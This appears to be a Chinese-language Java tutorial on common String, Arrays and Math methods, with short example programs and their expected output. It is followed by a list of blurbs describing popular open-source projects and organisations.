可以传任何对象,但是只有是字符串对象且值相同时才返回true 否则返回falsepublic class Main {
public static void main(String[] args) {
char[] chars = { '0', 'A', 'a' };
String s1 = new String(chars);
byte[] bytes = { 48, 65, 97 };
String s2 = new String(bytes);
System.out.println(s1.equals(chars)); // false
System.out.println(s2.equals(bytes)); // false
System.out.println(s1.equals(s2)); // true
}
}
注意:推荐"常量".equals(xxx)
而不是字符串变量.equals(常量)
因为变量可能为null
会报错
equalsIgnoreCase
就是equals忽略大小写public int length()
返回字符串的长度public String concat(String)
拼接成新的字符串public class Main {
public static void main(String[] args) {
String s1 = "abc";
String s2 = "123";
String s3 = s1.concat(s2);
System.out.println(s3); // abc123
System.out.println(s1 == s3); // false
System.out.println(s2 == s3); // false
}
}
public char charAt(int index)
返回字符串中指定位置的字符public int codePointAt(int index)
返回只服从中指定位置字符的数值public int indexOf(String | char)
返回字符串中子串或字符第一次出现的位置索引 如果没有则返回-1public String substring(beginIndex[, endIndex])
截取部分为新字符串 [beginIndex, endIndex)
public char[] toCharArray()
字符串转为字符数组public byte[] getBytes()
字符串转为字节数组public String replace(old, new)
把字符串中所有的指定字符/字符串替换为新的字符/字符串public String toLowerCase()
转为小写,如果没变化,则返回原来地址(不产生新字符串),否则产生新的字符串public String toUpperCase()
转为大写public String[] split(String)
切割字符串import java.util.Arrays;
public class Main {
public static void main(String[] args) {
String s1 = "0Aa";
System.out.println(s1.charAt(1)); // A
System.out.println(s1.codePointAt(1)); // 65
System.out.println(s1.indexOf('A')); // 1
System.out.println(s1.indexOf("A")); // 1
System.out.println(s1.substring(1)); // Aa [beginIndex, length())
System.out.println(s1.substring(1, 2)); // A [beginIndex, endIndex)
System.out.println(Arrays.toString(s1.toCharArray())); // [0, A, a]
System.out.println(Arrays.toString(s1.getBytes())); // [48, 65, 97]
System.out.println("09990".replace('0', '1')); // 19991
System.out.println("aabbccaa".replace("aa", "zz")); // zzbbcczz
System.out.println("abc" == "abc".toLowerCase()); // true
System.out.println("abc" == "abc".toUpperCase()); // false
System.out.println(Arrays.toString("aaa,bbb,ccc".split(",")));
}
}
注意:
"aaa".replace("aa", "b")
等于多少?ba
还是ab
ba
,意思就是从字符串字面值从左到右开始尽量多的匹配(贪心原则).
,需要用\\.
public static String toString(数组)
数组转为字符串[x, x, x]格式public static void sort(数组)
数组升序排序(从小到大)import java.util.Arrays;
public class Main {
public static void main(String[] args) {
int[] arr = {4, 3, 2, 1};
Arrays.sort(arr);
String str = Arrays.toString(arr);
System.out.println(str); // [1, 2, 3, 4]
char[] chars = str.toCharArray();
Arrays.sort(chars);
System.out.println(chars); // char[]可以直接打印 ,,,1234[]
}
}
public static double abs(double a)
绝对值public static double ceil(double a)
向上取整public static double floor(double a)
向下取整public static long round(double a)
四舍五入 public static void main(String[] args) {
System.out.println(Math.abs(-3.14)); // 3.14
System.out.println(Math.ceil(3.14)); // 4.0
System.out.println(Math.floor(3.14)); // 3.0
System.out.println(Math.round(3.5)); // 4L
}
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.